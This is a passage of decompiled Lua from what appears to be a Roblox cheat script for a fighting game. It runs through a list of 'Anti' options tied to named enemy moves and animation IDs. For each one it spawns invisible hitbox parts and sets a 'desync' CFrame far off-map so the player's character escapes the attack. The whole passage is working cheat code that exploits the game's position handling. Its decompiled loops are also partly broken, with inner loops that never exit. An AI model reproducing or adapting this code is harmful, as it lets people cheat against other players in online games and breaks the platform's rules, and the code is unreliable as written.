isDeathCountering(u1090))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1232 + 2.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part16 then _Part16:Destroy() end v1229:Disconnect() v1231:Disconnect() end end end if _AnimationId2:match('14721837245') and rawget(Options.AntiMoves_Genos.Value, 'Anti Thunder Kick') then local v1234 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 14') end if (u1091.Position - u1028.Position).Magnitude <= 25 and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] 14') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 25 or (not p1088.IsPlaying or (tick() >= v1234 + 1.5 or isCountering(u1092))) then getgenv().desync = nil end end end end task.wait() if tick() >= v1234 + 1.5 then task.wait(1) local v1235 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 15') end if (u1091.Position - u1028.Position).Magnitude > 100 then end while true do if antidebug then warn('[ANTI DEBUG] 15') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or (not p1088.IsPlaying or tick() >= v1235 + 1.5) then getgenv().desync = nil end end end task.wait() if tick() >= v1235 + 1.5 then getgenv().desync = nil end end end end end if _AnimationId2:match('13083332742') and rawget(Options.AntiMoves_Genos.Value, 'Anti Flamewave Cannon') then task.wait(1) local _Part17 = Instance.new('Part', _Workspace) _Part17.Anchored = true _Part17.Size = Vector3.new(12.5, 5, 1000) _Part17.CanCollide = false _Part17.Transparency = 1 local u1237 = false local v1239 = _Part17.Touched:Connect(function(p1238) if p1238 == u1091 then u1237 = true end end) local v1241 = _Part17.TouchEnded:Connect(function(p1240) if p1240 == u1091 then u1237 = false end end) task.delay(0.25, function() _Part17.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part17.Size.Z / 2) end) local v1242 = tick() local v1243 = _Part17 local v1244 = u1237 while true do if true then if antidebug then warn('[ANTI DEBUG] FLAMEWAVE CANNON') end if v1244 == true and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] FLAMEWAVE CANNON') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1244 == false or (tick() >= v1242 + 4 or (not p1088.IsPlaying or isDeathCountering(u1090))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1242 + 4 or not p1088.IsPlaying then getgenv().desync = nil if v1243 then v1243:Destroy() end v1239:Disconnect() v1241:Disconnect() end end end if _AnimationId2:match('13146710762') and rawget(Options.AntiMoves_Genos.Value, 'Anti Incinerate') then task.wait(3.25) if not u1027:FindFirstChild('ForceField') then end local _Part18 = Instance.new('Part', _Workspace) _Part18.Anchored = true _Part18.Size = Vector3.new(100, 75, 400) _Part18.CanCollide = false _Part18.Transparency = 1 local _Part19 = Instance.new('Part', _Workspace) _Part19.Anchored = true _Part19.Size = Vector3.new(100, 75, 400) _Part19.CanCollide = false _Part19.Transparency = 1 local _Part20 = Instance.new('Part', _Workspace) _Part20.Anchored = true _Part20.Size = Vector3.new(100, 75, 400) _Part20.CanCollide = false _Part20.Transparency = 1 local u1248 = false local u1249 = false local u1250 = false local v1251 = {} table.insert(v1251, _Part18.Touched:Connect(function(p1252) if p1252 == u1091 then u1248 = true end end)) table.insert(v1251, _Part18.TouchEnded:Connect(function(p1253) if p1253 == u1091 then u1248 = false end end)) table.insert(v1251, _Part19.Touched:Connect(function(p1254) if p1254 == u1091 then u1249 = true end end)) table.insert(v1251, _Part19.TouchEnded:Connect(function(p1255) if p1255 == u1091 then u1249 = false end end)) table.insert(v1251, _Part20.Touched:Connect(function(p1256) if p1256 == u1091 then u1250 = true end end)) table.insert(v1251, _Part20.TouchEnded:Connect(function(p1257) if p1257 == u1091 then u1250 = false end end)) _Part18.CFrame = u1028.CFrame * CFrame.new(50, 0, -_Part18.Size.Z / 2 + 2.5) * CFrame.Angles(0, math.rad(-15), 0) _Part19.CFrame = u1028.CFrame * CFrame.new(-50, 0, -_Part19.Size.Z / 2 + 2.5) * CFrame.Angles(0, math.rad(15), 0) _Part20.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part20.Size.Z / 2 + 2.5) local v1258 = tick() local v1259 = u1250 local v1260 = u1249 local v1261 = u1248 while true do if true then if antidebug then warn('[ANTI DEBUG] 17') end if (v1261 or (v1260 or v1259)) and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 17') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if not (v1261 or (v1260 or v1259)) or (tick() >= v1258 + 6 or isDeathCountering(u1090)) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1258 + 6 or not p1088.IsPlaying then _Part18:Destroy() _Part19:Destroy() _Part20:Destroy() local v1262, v1263, v1264 = pairs(v1251) while true do local v1265 v1264, v1265 = v1262(v1263, v1264) if v1264 == nil then break end v1265:Disconnect() end getgenv().desync = nil end end end if _AnimationId2:match('17278415853') and (u1027:GetAttribute('Character') == 'Esper' and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Terrible Tornado')) then task.wait(11) local v1266 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 18') end if (u1091.Position - u1028.Position).Magnitude > 100 then end while true do if antidebug then warn('[ANTI DEBUG] 18') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1266 + 6 then getgenv().desync = nil end end end task.wait() if tick() >= v1266 + 6 then getgenv().desync = nil end end end if _AnimationId2:match('12342141464') and rawget(Options.AntiMoves_Garou.Value, 'Anti Garou Ult') then task.wait(3.5) local v1267 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 19') end if (u1091.Position - u1028.Position).Magnitude > 125 then end while true do if antidebug then warn('[ANTI DEBUG] 19') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 125 or tick() >= v1267 + 1.25 then getgenv().desync = nil end end end task.wait() if tick() >= v1267 + 1.25 then getgenv().desync = nil end end end if _AnimationId2:match('12460977270') and rawget(Options.AntiMoves_Garou.Value, 'Anti Water Stream Rock Smashing Fist') then local _Part21 = Instance.new('Part', _Workspace) _Part21.Anchored = true _Part21.Size = Vector3.new(12.5, 5, 12.5) _Part21.CanCollide = false _Part21.Transparency = 1 local u1269 = false local v1271 = _Part21.Touched:Connect(function(p1270) if p1270 == u1091 then u1269 = true end end) local v1273 = _Part21.TouchEnded:Connect(function(p1272) if p1272 == u1091 then u1269 = false end end) local v1274 = tick() local v1275 = u1269 while true do if true then if antidebug then warn('[ANTI DEBUG] WATER STREAM ROCK SMASHING FIST') end _Part21.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part21.Size.Z / 2) if v1275 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] WATER STREAM ROCK SMASHING FIST') end _Part21.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part21.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1275 == false or (tick() >= v1274 + 1.85 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1274 + 1.85 or not p1088.IsPlaying then getgenv().desync = nil if _Part21 then _Part21:Destroy() end v1271:Disconnect() v1273:Disconnect() end end end if _AnimationId2:match('12463072679') and rawget(Options.AntiMoves_Garou.Value, 'Anti Final Hunt') then local v1276 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 20') end if (u1091.Position - u1028.Position).Magnitude > 25 then end while true do if antidebug then warn('[ANTI DEBUG] 20') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1276 + 0.75 then getgenv().desync = nil end end end task.wait() if tick() >= v1276 + 0.75 then getgenv().desync = nil end end end if _AnimationId2:match('14057231976') and rawget(Options.AntiMoves_Garou.Value, 'Anti Rock Splitting Fist') then local v1277 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 31') end if (u1091.Position - u1028.Position).Magnitude > 10 then end while true do if antidebug then warn('[ANTI DEBUG] 31') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 10 or tick() >= v1277 + 0.5 then getgenv().desync = nil end end end task.wait() if tick() >= v1277 + 0.5 then getgenv().desync = nil task.wait(0.5) while true do if true then if antidebug then warn('[ANTI DEBUG] 31') end if (u1091.Position - u1028.Position).Magnitude <= 10 and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] 31') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 10 or (tick() >= v1277 + 1.75 or isCountering(u1092)) then getgenv().desync = nil end end end end task.wait() if tick() >= v1277 + 1.75 then getgenv().desync = nil end end end end end if _AnimationId2:match('13630786846') and rawget(Options.AntiMoves_Garou.Value, 'Anti Crushed Rock') then local _Part22 = Instance.new('Part', _Workspace) _Part22.Anchored = true _Part22.Size = Vector3.new(25, 10, 75) _Part22.CanCollide = false _Part22.Transparency = 1 local u1279 = false local v1281 = _Part22.Touched:Connect(function(p1280) if p1280 == u1091 then u1279 = true end end) local v1283 = _Part22.TouchEnded:Connect(function(p1282) if p1282 == u1091 then u1279 = false end end) local v1284 = tick() local v1285 = u1279 while true do if true then if antidebug then warn('[ANTI DEBUG] 21') end _Part22.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part22.Size.Z / 2) if v1285 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] 21') end _Part22.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part22.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1285 == false or (tick() >= v1284 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1284 + 1.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part22 then _Part22:Destroy() end v1281:Disconnect() v1283:Disconnect() end end end if _AnimationId2:match('72451715583225') and rawget(Options.AntiMoves_Garou.Value, 'Anti Crushed Rock') then local v1286 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 20') end if (u1091.Position - u1028.Position).Magnitude > 15 then end while true do if antidebug then warn('[ANTI DEBUG] 20') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 15 or tick() >= v1286 + 0.75 then getgenv().desync = nil end end end task.wait() if tick() >= v1286 + 0.75 then getgenv().desync = nil end end end if _AnimationId2:match('15391323441') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Samurai Ult') then task.wait(5.5) local v1287 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 22') end if (u1091.Position - u1028.Position).Magnitude > 125 then end while true do if antidebug then warn('[ANTI DEBUG] 22') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 125 or tick() >= v1287 + 1 then getgenv().desync = nil end end end task.wait() if tick() >= v1287 + 1 then getgenv().desync = nil end end end if _AnimationId2:match('15520132233') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Sunset') then local v1288 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 23') end if (u1091.Position - u1028.Position).Magnitude <= 50 and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 23') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 50 or (tick() >= v1288 + 3.3 or (not p1088.IsPlaying or isDeathCountering(u1090))) then getgenv().desync = nil end end end end task.wait() if tick() >= v1288 + 3.3 or not p1088.IsPlaying then getgenv().desync = nil repeat task.wait() until tick() >= v1288 + 5.5 while true do if true then if antidebug then warn('[ANTI DEBUG] 23') end if (u1091.Position - u1028.Position).Magnitude <= 100 and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 23') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or (tick() >= v1288 + 6.5 or (not p1088.IsPlaying or isDeathCountering(u1090))) then getgenv().desync = nil end end end end task.wait() if tick() >= v1288 + 6.5 or not p1088.IsPlaying then getgenv().desync = nil end end end end end if _AnimationId2:match('15676072469') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Solar Cleave') then local _Part23 = Instance.new('Part', _Workspace) _Part23.Anchored = true _Part23.Size = Vector3.new(50, 10, 150) _Part23.CanCollide = false _Part23.Transparency = 1 local u1290 = false local v1292 = _Part23.Touched:Connect(function(p1291) if p1291 == u1091 then u1290 = true end end) local v1294 = _Part23.TouchEnded:Connect(function(p1293) if p1293 == u1091 then u1290 = false end end) local v1295 = tick() local v1296 = u1290 while true do if true then if antidebug then warn('[ANTI DEBUG] 24') end _Part23.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part23.Size.Z / 2) if v1296 and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 24') end _Part23.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part23.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if not v1296 or (tick() >= v1295 + 2 or (not p1088.IsPlaying or isDeathCountering(u1090))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1295 + 2 or not p1088.IsPlaying then getgenv().desync = nil if _Part23 then _Part23:Destroy() end v1292:Disconnect() v1294:Disconnect() end end end if _AnimationId2:match('16082123712') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Slash') then task.wait(2.5) local v1297 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 25') end if (u1091.Position - u1028.Position).Magnitude > 50 then end while true do if antidebug then warn('[ANTI DEBUG] 25') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1297 + 1.5 then getgenv().desync = nil end end end task.wait() if tick() >= v1297 + 1.5 then getgenv().desync = nil end end end if _AnimationId2:match('16057411888') and rawget(Options.AntiMoves_AtomicSamurai.Value, 'Anti Atomic Slash Finisher') then task.wait(4.25) local v1298 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 26') end if (u1091.Position - u1028.Position).Magnitude > 50 then end while true do if antidebug then warn('[ANTI DEBUG] 26') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1298 + 2 then getgenv().desync = nil end end end task.wait() if tick() >= v1298 + 2 then getgenv().desync = nil end end end if _AnimationId2:match('17857788598') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Whirlwind Drop') then task.wait(0.65) if not p1088.IsPlaying then end local _Part24 = Instance.new('Part', _Workspace) _Part24.Anchored = true _Part24.Size = Vector3.new(35, 2048, 35) _Part24.CanCollide = false _Part24.Transparency = 1 local u1300 = false local v1302 = _Part24.Touched:Connect(function(p1301) if p1301 == u1091 then u1300 = true end end) local v1304 = _Part24.TouchEnded:Connect(function(p1303) if p1303 == u1091 then u1300 = false end end) local v1305 = tick() local v1306 = u1300 while true do if true then if antidebug then warn('[ANTI DEBUG] ANTI WHIRLWIND DROP') end _Part24.CFrame = u1028.CFrame if v1306 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] ANTI WHIRLWIND DROP') end _Part24.CFrame = u1028.CFrame getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1306 == false or (tick() >= v1305 + 0.85 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1305 + 0.85 or not p1088.IsPlaying then getgenv().desync = nil if _Part24 then _Part24:Destroy() end v1302:Disconnect() v1304:Disconnect() end end end if _AnimationId2:match('18435535291') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Suiryu Ult') then task.wait(4.25) local v1307 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 35') end if (u1091.Position - u1028.Position).Magnitude > 100 then end while true do if antidebug then warn('[ANTI DEBUG] 35') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1307 + 1.25 then getgenv().desync = nil end end end task.wait() if tick() >= v1307 + 1.25 then getgenv().desync = nil end end end if _AnimationId2:match('129651400898906') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Grand Fissure') then task.wait(0.5) local _CFrame18 = u1028.CFrame local v1309 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 34') end if (u1091.Position - u1028.Position).Magnitude > 75 then end while true do if antidebug then warn('[ANTI DEBUG] 34') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 75 or (tick() >= v1309 + 1.25 or not p1088.IsPlaying) then getgenv().desync = nil end end end task.wait() if tick() >= v1309 + 1.25 or not p1088.IsPlaying then getgenv().desync = nil task.wait(1) while true do if true then if antidebug then warn('[ANTI DEBUG] 34') end if (u1091.Position - _CFrame18.Position).Magnitude > 75 then end while true do if antidebug then warn('[ANTI DEBUG] 34') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - _CFrame18.Position).Magnitude > 75 or tick() >= v1309 + 3 then getgenv().desync = nil end end end task.wait() if tick() >= v1309 + 3 then getgenv().desync = nil end end end end end if _AnimationId2:match('18896229321') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Twin Fangs') then local v1310 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 33') end if (u1091.Position - u1028.Position).Magnitude <= 15 and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] 33') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 15 or (tick() >= v1310 + 3.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end task.wait() if tick() >= v1310 + 3.5 or not p1088.IsPlaying then getgenv().desync = nil task.wait(1) if not p1088.IsPlaying then end if antidebug then warn('[ANTI DEBUG] 33') end if (u1091.Position - u1028.Position).Magnitude <= 25 then while true do if antidebug then warn('[ANTI DEBUG] 33') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 25 or (tick() >= v1310 + 5.5 or not p1088.IsPlaying) then getgenv().desync = nil end end end task.wait() if tick() < v1310 + 5.5 and p1088.IsPlaying then end end end end if _AnimationId2:match('18897119503') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Earth Splitting Strike') then local _Part25 = Instance.new('Part', _Workspace) _Part25.Anchored = true _Part25.Size = Vector3.new(35, 10, 75) _Part25.CanCollide = false _Part25.Transparency = 1 local u1312 = false local v1314 = _Part25.Touched:Connect(function(p1313) if p1313 == u1091 then u1312 = true end end) local v1316 = _Part25.TouchEnded:Connect(function(p1315) if p1315 == u1091 then u1312 = false end end) local v1317 = tick() local v1318 = u1312 while true do if true then if antidebug then warn('[ANTI DEBUG] 33') end _Part25.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part25.Size.Z / 2) if v1318 ~= true then end while true do if antidebug then warn('[ANTI DEBUG] 33') end _Part25.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part25.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1318 == false or (tick() >= v1317 + 2.5 or not p1088.IsPlaying) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1317 + 2.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part25 then _Part25:Destroy() end v1314:Disconnect() v1316:Disconnect() end end end if _AnimationId2:match('106755459092436') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Last Breath') then MoveNotify(p1018, 'Last Breath') task.wait(3) if not (isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175')) then end local v1319 = tick() while true do if antidebug then warn('[ANTI DEBUG] 32') end if isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175') then repeat getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() until tick() >= v1319 + 3.5 or not (isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175')) getgenv().desync = nil end task.wait() if tick() >= v1319 + 3.5 then getgenv().desync = nil end end end if _AnimationId2:match('75502010126640') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Last Breath') then task.wait(10) local v1320 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 18') end if (u1091.Position - u1028.Position).Magnitude > 100 then end while true do if antidebug then warn('[ANTI DEBUG] 18') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1320 + 3 then getgenv().desync = nil end end end task.wait() if tick() >= v1320 + 3 then getgenv().desync = nil end end end if _AnimationId2:match('16734584478') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Tatsumaki Ult') then local v1321 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 27') end if (u1091.Position - u1028.Position).Magnitude > 75 then end while true do if antidebug then warn('[ANTI DEBUG] 27') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 75 or tick() >= v1321 + 5.75 then getgenv().desync = nil end end end task.wait() if tick() >= v1321 + 5.75 then getgenv().desync = nil end end end if _AnimationId2:match('17141153099') and rawget(Options.AntiMoves_KJ.Value, 'Anti Stoic Bomb') then task.delay(2, function() local v1322 = tick() while true do if antidebug then warn('[ANTI DEBUG] 28') end if (u1091.Position - u1028.Position).Magnitude <= 75 then break end task.wait() if tick() >= v1322 + 1.5 then getgenv().desync = nil return end end while true do if antidebug then warn('[ANTI DEBUG] 28') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 75 or tick() >= v1322 + 1.5 then getgenv().desync = nil end end end) end if _AnimationId2:match('17354976067') and rawget(Options.AntiMoves_KJ.Value, 'Anti 20-20-20 Dropkick') then MoveNotify(p1018, '20-20-20 Dropkick') task.delay(1, function() local _Part26 = Instance.new('Part', _Workspace) _Part26.Anchored = true _Part26.Size = Vector3.new(25, 5, 125) _Part26.CanCollide = false _Part26.Transparency = 1 local u1324 = false local v1326 = _Part26.Touched:Connect(function(p1325) if p1325 == u1091 then u1324 = true end end) local v1328 = _Part26.TouchEnded:Connect(function(p1327) if p1327 == u1091 then u1324 = false end end) local v1329 = tick() local v1330 = u1324 while true do if antidebug then warn('[ANTI DEBUG] 29') end _Part26.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part26.Size.Y / 2) if v1330 then break end _RenderStepped:Wait() if tick() >= v1329 + 5 or not p1088.IsPlaying then getgenv().desync = nil if _Part26 then _Part26:Destroy() end v1326:Disconnect() v1328:Disconnect() return end end while true do if antidebug then warn('[ANTI DEBUG] 29') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if not v1330 or (tick() >= v1329 + 5 or not p1088.IsPlaying) then getgenv().desync = nil end end end) end if _AnimationId2:match('18462894593') and rawget(Options.AntiMoves_KJ.Value, 'Anti Five Seasons') then task.delay(6.75, function() local v1331 = tick() while true do if antidebug then warn('[ANTI DEBUG] 30') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if tick() >= v1331 + 1 then getgenv().desync = nil return end end end) end if _AnimationId2:match('100558589307006') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Permafrost') then task.wait(0.35) if not p1088.IsPlaying then end local _Part27 = Instance.new('Part', _Workspace) _Part27.Anchored = true _Part27.Size = Vector3.new(45, 25, 85) _Part27.CanCollide = false _Part27.Transparency = 1 local u1333 = false local v1335 = _Part27.Touched:Connect(function(p1334) if p1334 == u1091 then u1333 = true end end) local v1337 = _Part27.TouchEnded:Connect(function(p1336) if p1336 == u1091 then u1333 = false end end) local v1338 = tick() local v1339 = u1333 while true do if true then if antidebug then warn('[ANTI DEBUG] PERMAFROST') end _Part27.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part27.Size.Z / 2) if v1339 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] PERMAFROST') end _Part27.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part27.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1339 == false or (tick() >= v1338 + 0.65 or not p1088.IsPlaying) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1338 + 0.65 or not p1088.IsPlaying then getgenv().desync = nil if _Part27 then _Part27:Destroy() end v1335:Disconnect() v1337:Disconnect() end end end if _AnimationId2:match('137561511768861') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Frost Forge') then task.delay(1, function() local v1340 = tick() while true do if antidebug then warn('[ANTI DEBUG] FROST FORGE') end if (u1091.Position - u1028.Position).Magnitude <= 150 then break end task.wait() if tick() >= v1340 + 0.75 then getgenv().desync = nil return end end while true do if antidebug then warn('[ANTI DEBUG] FROST FORGE') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 150 or tick() >= v1340 + 0.75 then getgenv().desync = nil end end end) end if _AnimationId2:match('112620365240235') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Freezing Path') then task.wait(0.5) if not p1088.IsPlaying then end local _Part28 = Instance.new('Part', _Workspace) _Part28.Anchored = true _Part28.Size = Vector3.new(20, 10, 35) _Part28.CanCollide = false _Part28.Transparency = 1 local u1342 = false local v1344 = _Part28.Touched:Connect(function(p1343) if p1343 == u1091 then u1342 = true end end) local v1346 = _Part28.TouchEnded:Connect(function(p1345) if p1345 == u1091 then u1342 = false end end) local v1347 = tick() local v1348 = u1342 while true do if true then if antidebug then warn('[ANTI DEBUG] FREEZING PATH') end _Part28.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part28.Size.Z / 2) if v1348 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] FREEZING PATH') end _Part28.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part28.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1348 == false or (tick() >= v1347 + 4 or not p1088.IsPlaying) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1347 + 4 or not p1088.IsPlaying then getgenv().desync = nil if _Part28 then _Part28:Destroy() end v1344:Disconnect() v1346:Disconnect() end end end if _AnimationId2:match('75547590335774') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Judgement Chain') then task.wait(0.35) if not p1088.IsPlaying then end local _Part29 = Instance.new('Part', _Workspace) _Part29.Anchored = true _Part29.Size = Vector3.new(10, 5, 175) _Part29.CanCollide = false _Part29.Transparency = 1 local u1350 = false local v1352 = _Part29.Touched:Connect(function(p1351) if p1351 == u1091 then u1350 = true end end) local v1354 = _Part29.TouchEnded:Connect(function(p1353) if p1353 == u1091 then u1350 = false end end) local v1355 = tick() local v1356 = u1350 while true do if true then if antidebug then warn('[ANTI DEBUG] JUDGEMENT CHAIN') end _Part29.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part29.Size.Z / 2) if v1356 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] JUDGEMENT CHAIN') end _Part29.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part29.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1356 == false or (tick() >= v1355 + 1 or not p1088.IsPlaying) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1355 + 1 or not p1088.IsPlaying then getgenv().desync = nil if _Part29 then _Part29:Destroy() end v1352:Disconnect() v1354:Disconnect() end end else return end end) end end) end end task.spawn(function() local u1357 = nil task.spawn(function() repeat task.wait() until getChar(_LocalPlayer) local v1358 = getChar(_LocalPlayer) u1357 = Instance.new('Model') v1358.Archivable = true local v1359 = v1358:Clone() v1358.Archivable = false if v1359:FindFirstChildWhichIsA('Humanoid') then v1359.Humanoid:Destroy() end local v1360, v1361, v1362 = pairs(v1359:GetChildren()) while true do local v1363 v1362, v1363 = v1360(v1361, v1362) if v1362 == nil then break end if v1363:IsA('Humanoid') then v1363:Destroy() elseif v1363:IsA('BasePart') or v1363:IsA('MeshPart') then local v1364 = v1363:Clone() v1364.CanCollide = false v1364.Anchored = true v1364.Transparency = not table.find({ 'HumanoidRootPart', 'FakeHead', 'Hitbox_RightArm', 'Hitbox_LeftArm', 'Hitbox_RightLeg', 'Hitbox_LeftLeg', }, v1364.Name) and 0.65 or 1 v1364.Color = Color3.fromRGB(255, 255, 255) v1364.Size = v1364.Size * 